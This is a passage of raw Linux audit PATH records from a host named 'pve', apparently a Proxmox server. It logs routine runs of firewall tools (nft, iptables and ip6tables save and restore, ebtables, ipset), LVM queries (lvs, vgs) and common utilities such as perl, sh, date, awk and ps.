ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964114109,"@rawstring":"node=pve type=PATH msg=audit(1781964114.109:59638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964114109,"@rawstring":"node=pve type=PATH msg=audit(1781964114.109:59638): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964114073,"@rawstring":"node=pve type=PATH msg=audit(1781964114.073:59637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964114073,"@rawstring":"node=pve type=PATH msg=audit(1781964114.073:59637): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112973,"@rawstring":"node=pve type=PATH msg=audit(1781964112.973:59636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112973,"@rawstring":"node=pve type=PATH msg=audit(1781964112.973:59636): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112973,"@rawstring":"node=pve type=PATH msg=audit(1781964112.973:59635): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112972,"@rawstring":"node=pve type=PATH msg=audit(1781964112.972:59634): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PATH msg=audit(1781964112.961:59633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PATH msg=audit(1781964112.961:59633): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PATH msg=audit(1781964112.961:59632): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964112961,"@rawstring":"node=pve type=PATH msg=audit(1781964112.961:59631): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107955,"@rawstring":"node=pve type=PATH msg=audit(1781964107.955:59630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107955,"@rawstring":"node=pve type=PATH msg=audit(1781964107.955:59630): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107955,"@rawstring":"node=pve type=PATH msg=audit(1781964107.955:59629): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107954,"@rawstring":"node=pve type=PATH msg=audit(1781964107.954:59628): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PATH msg=audit(1781964107.939:59627): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PATH msg=audit(1781964107.939:59627): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PATH msg=audit(1781964107.939:59626): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964107939,"@rawstring":"node=pve type=PATH msg=audit(1781964107.939:59625): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105260,"@rawstring":"node=pve type=PATH msg=audit(1781964105.260:59624): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105260,"@rawstring":"node=pve type=PATH msg=audit(1781964105.260:59624): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105257,"@rawstring":"node=pve type=PATH msg=audit(1781964105.257:59623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105257,"@rawstring":"node=pve type=PATH msg=audit(1781964105.257:59623): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105255,"@rawstring":"node=pve type=PATH msg=audit(1781964105.255:59622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105255,"@rawstring":"node=pve type=PATH msg=audit(1781964105.255:59622): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105255,"@rawstring":"node=pve type=PATH msg=audit(1781964105.255:59621): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105250,"@rawstring":"node=pve type=PATH msg=audit(1781964105.250:59620): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105250,"@rawstring":"node=pve type=PATH msg=audit(1781964105.250:59620): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105250,"@rawstring":"node=pve type=PATH msg=audit(1781964105.250:59620): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105244,"@rawstring":"node=pve type=PATH msg=audit(1781964105.244:59619): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105244,"@rawstring":"node=pve type=PATH msg=audit(1781964105.244:59619): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105238,"@rawstring":"node=pve type=PATH msg=audit(1781964105.238:59618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105238,"@rawstring":"node=pve type=PATH msg=audit(1781964105.238:59618): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105231,"@rawstring":"node=pve type=PATH msg=audit(1781964105.231:59617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105231,"@rawstring":"node=pve type=PATH msg=audit(1781964105.231:59617): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105225,"@rawstring":"node=pve type=PATH msg=audit(1781964105.225:59616): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105225,"@rawstring":"node=pve type=PATH msg=audit(1781964105.225:59616): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105219,"@rawstring":"node=pve type=PATH msg=audit(1781964105.219:59614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105219,"@rawstring":"node=pve type=PATH msg=audit(1781964105.219:59614): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105214,"@rawstring":"node=pve type=PATH msg=audit(1781964105.214:59613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105214,"@rawstring":"node=pve type=PATH msg=audit(1781964105.214:59613): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105209,"@rawstring":"node=pve type=PATH msg=audit(1781964105.209:59612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105209,"@rawstring":"node=pve type=PATH msg=audit(1781964105.209:59612): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105203,"@rawstring":"node=pve type=PATH msg=audit(1781964105.203:59611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105203,"@rawstring":"node=pve type=PATH msg=audit(1781964105.203:59611): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105198,"@rawstring":"node=pve type=PATH msg=audit(1781964105.198:59610): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105198,"@rawstring":"node=pve type=PATH msg=audit(1781964105.198:59610): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105193,"@rawstring":"node=pve type=PATH msg=audit(1781964105.193:59609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105193,"@rawstring":"node=pve type=PATH msg=audit(1781964105.193:59609): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105185,"@rawstring":"node=pve type=PATH msg=audit(1781964105.185:59608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105185,"@rawstring":"node=pve type=PATH msg=audit(1781964105.185:59608): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105178,"@rawstring":"node=pve type=PATH msg=audit(1781964105.178:59607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105178,"@rawstring":"node=pve type=PATH msg=audit(1781964105.178:59607): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105175,"@rawstring":"node=pve type=PATH msg=audit(1781964105.175:59606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105175,"@rawstring":"node=pve type=PATH msg=audit(1781964105.175:59606): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105171,"@rawstring":"node=pve type=PATH msg=audit(1781964105.171:59605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105171,"@rawstring":"node=pve type=PATH msg=audit(1781964105.171:59605): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105170,"@rawstring":"node=pve type=PATH msg=audit(1781964105.170:59604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105170,"@rawstring":"node=pve type=PATH msg=audit(1781964105.170:59604): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105170,"@rawstring":"node=pve type=PATH msg=audit(1781964105.170:59603): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105166,"@rawstring":"node=pve type=PATH msg=audit(1781964105.166:59602): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105166,"@rawstring":"node=pve type=PATH msg=audit(1781964105.166:59602): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105166,"@rawstring":"node=pve type=PATH msg=audit(1781964105.166:59602): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105160,"@rawstring":"node=pve type=PATH msg=audit(1781964105.160:59601): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105160,"@rawstring":"node=pve type=PATH msg=audit(1781964105.160:59601): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105153,"@rawstring":"node=pve type=PATH msg=audit(1781964105.153:59600): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105153,"@rawstring":"node=pve type=PATH msg=audit(1781964105.153:59600): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105147,"@rawstring":"node=pve type=PATH msg=audit(1781964105.147:59599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105147,"@rawstring":"node=pve type=PATH msg=audit(1781964105.147:59599): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105141,"@rawstring":"node=pve type=PATH msg=audit(1781964105.141:59598): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105141,"@rawstring":"node=pve type=PATH msg=audit(1781964105.141:59598): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105133,"@rawstring":"node=pve type=PATH msg=audit(1781964105.133:59597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964105133,"@rawstring":"node=pve type=PATH msg=audit(1781964105.133:59597): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964104998,"@rawstring":"node=pve type=PATH msg=audit(1781964104.998:59596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964104998,"@rawstring":"node=pve type=PATH msg=audit(1781964104.998:59596): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964104967,"@rawstring":"node=pve type=PATH msg=audit(1781964104.967:59595): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964104967,"@rawstring":"node=pve type=PATH msg=audit(1781964104.967:59595): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PATH msg=audit(1781964102.931:59594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PATH msg=audit(1781964102.931:59594): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PATH msg=audit(1781964102.931:59593): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102931,"@rawstring":"node=pve type=PATH msg=audit(1781964102.931:59592): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PATH msg=audit(1781964102.921:59591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PATH msg=audit(1781964102.921:59591): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PATH msg=audit(1781964102.921:59590): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964102921,"@rawstring":"node=pve type=PATH msg=audit(1781964102.921:59589): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099486,"@rawstring":"node=pve type=PATH msg=audit(1781964099.486:59588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099486,"@rawstring":"node=pve type=PATH msg=audit(1781964099.486:59588): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099486,"@rawstring":"node=pve type=PATH msg=audit(1781964099.486:59587): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099486,"@rawstring":"node=pve type=PATH msg=audit(1781964099.486:59587): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099484,"@rawstring":"node=pve type=PATH msg=audit(1781964099.484:59586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964099484,"@rawstring":"node=pve type=PATH msg=audit(1781964099.484:59586): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PATH msg=audit(1781964097.915:59585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PATH msg=audit(1781964097.915:59585): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PATH msg=audit(1781964097.915:59584): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964097915,"@rawstring":"node=pve type=PATH msg=audit(1781964097.915:59583): item=0 name=\"/usr/local/sbin/nft\" 